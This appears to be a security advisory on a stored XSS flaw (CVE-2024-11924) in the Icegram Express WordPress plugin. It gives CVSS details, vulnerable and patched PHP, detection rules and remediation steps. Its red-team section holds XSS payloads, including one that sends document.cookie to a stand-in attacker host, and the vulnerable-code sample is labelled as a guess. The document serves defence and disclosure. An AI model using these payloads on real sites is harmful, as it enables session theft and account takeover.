CVE-2024-11924

Executive Summary

CVE-2024-11924 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the Icegram Express (formerly Email Subscribers) WordPress plugin, affecting versions prior to 5.7.52. This flaw allows high-privilege users, such as administrators, to inject arbitrary web scripts into plugin settings pages. Even when the unfiltered_html capability is disallowed (e.g., in a multisite WordPress setup), an attacker with admin-level access can execute stored XSS attacks, potentially compromising other administrators or site visitors.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and is assigned a CVSS v3.1 base score of 4.8 (Medium). The attack vector is network-based, requires high privileges, and user interaction, but can lead to partial confidentiality and integrity impacts.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is a component of the WordPress ecosystem and is not an NPM, PyPI, Go, or Ruby package. Therefore, supply chain risks are limited to the WordPress plugin update mechanism. Users are advised to update the plugin directly from the WordPress admin dashboard or via the official repository.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – An attacker must have admin-level access to the WordPress site.
• User Interaction (UI): Required (R) – The victim must visit the affected settings page.
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. Exploitation requires high privileges, but in a multisite environment, a site administrator could compromise the entire network.

Deep Dive & Mechanics

The Icegram Express plugin fails to properly sanitize and escape user-supplied input in certain settings fields. When an administrator saves malicious JavaScript code into these settings, the payload is stored in the WordPress database. Upon subsequent rendering of the settings page, the unsanitized input is executed in the browser of any user (including other administrators) who views the page.

The vulnerability is particularly dangerous in WordPress multisite setups where the unfiltered_html capability is disabled for site administrators. This normally prevents them from posting arbitrary HTML/JavaScript, but the plugin’s lack of sanitization bypasses this restriction.

Attack Flow:

1. An attacker with admin privileges navigates to the Icegram Express settings page.
2. The attacker injects a malicious script into a vulnerable setting field (e.g., a text input for email templates or custom CSS).
3. The plugin stores the input without proper sanitization.
4. When another admin (or the same admin) visits the settings page, the script executes in their browser.
5. The script can steal session cookies, perform actions on behalf of the victim, or deface the admin panel.

Vulnerable vs. Patched Code

Vulnerable Code (pre-5.7.52): The plugin likely used echo or print to output settings values without escaping, e.g.:

echo '<input type="text" name="ig_es_setting" value="' . $setting_value . '" />';

Here, $setting_value is not passed through esc_attr() or wp_kses().

Patched Code (5.7.52+): The fix involves proper output escaping:

echo '<input type="text" name="ig_es_setting" value="' . esc_attr( $setting_value ) . '" />';

Additionally, input validation and sanitization functions like sanitize_text_field() or wp_kses_post() are applied before saving.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress multisite installation with Icegram Express < 5.7.52.
• Admin-level credentials for a site (not super admin).

Steps:

1. Log in as a site administrator.
2. Navigate to Email Subscribers → Settings.
3. Locate a vulnerable field (e.g., "From Name" or "Custom CSS").
4. Inject a payload such as:

   <script>alert('XSS')</script>
   

   Or a more sophisticated payload:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

5. Save the settings.
6. When another admin visits the same settings page, the payload executes.

Note: No public exploit code is available at this time.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual changes to plugin settings by admin users.
• Look for HTTP requests containing script tags or event handlers in plugin settings endpoints.
• Use the detection rules provided below.

Hardening:

• Immediately update Icegram Express to version 5.7.52 or later.
• Restrict admin access to trusted users only.
• Implement Web Application Firewall (WAF) rules to block XSS payloads.
• Enable Content Security Policy (CSP) headers to mitigate script execution.

Indicators of Compromise (IOCs)

• File Changes: Modified plugin files in /wp-content/plugins/email-subscribers/ (specifically settings-related PHP files).
• Database Entries: Suspicious entries in the wp_options table under ig_es_settings or similar option names containing JavaScript.
• Logs: Access logs showing requests to /wp-admin/admin.php?page=es_settings with unusual query parameters.
• Network: Outbound connections to attacker-controlled domains from the WordPress admin panel.

Detection Engineering

YARA Rule

rule CVE_2024_11924_Icegram_XSS {
    meta:
        description = "Detects stored XSS payloads in Icegram Express plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11924"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*['\"][^'\"]*['\"]/is
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: Stored XSS in Icegram Express Plugin Settings
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS payloads in Icegram Express plugin settings
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin.php'
        cs-uri-query|contains: 'page=es_settings'
        cs-uri-query|contains|re: '(<script|<img|<svg|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in settings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-11924 - Icegram Express Stored XSS Payload";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin.php"; http_uri;
    content:"page=es_settings"; http_uri;
    pcre:"/(<script|<img|<svg|onerror|onload)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-11924;
)

Remediation & Mitigation

Immediate Actions:

1. Update Plugin: Upgrade Icegram Express to version 5.7.52 or later via the WordPress admin dashboard or by downloading from the official repository.
2. Audit Settings: Review all plugin settings for any injected scripts and remove them.
3. Reset Admin Passwords: Force password changes for all admin users as a precaution.

Long-Term Mitigations:

• Implement the principle of least privilege for WordPress users.
• Enable automatic updates for plugins.
• Use a security plugin (e.g., Wordfence) to monitor for XSS attempts.
• Regularly audit plugin code for security vulnerabilities.

Workaround (if patching is not immediately possible):

• Disable the Icegram Express plugin temporarily.
• Restrict access to the settings page via .htaccess or IP whitelisting.

Valters IT